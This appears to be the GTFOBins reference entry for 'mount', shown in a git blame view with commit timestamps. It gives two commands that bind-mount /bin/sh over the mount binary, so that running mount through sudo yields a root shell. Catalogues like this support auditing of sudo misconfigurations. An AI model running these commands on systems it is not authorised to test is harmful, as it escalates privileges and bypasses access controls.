GTFOBins.github.io/_gtfobins/mount.md

9 lines
228 B
Markdown
Raw Normal View History

2018-07-16 10:00:14 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/sh /bin/mount
sudo mount
2018-07-16 10:00:14 +02:00
---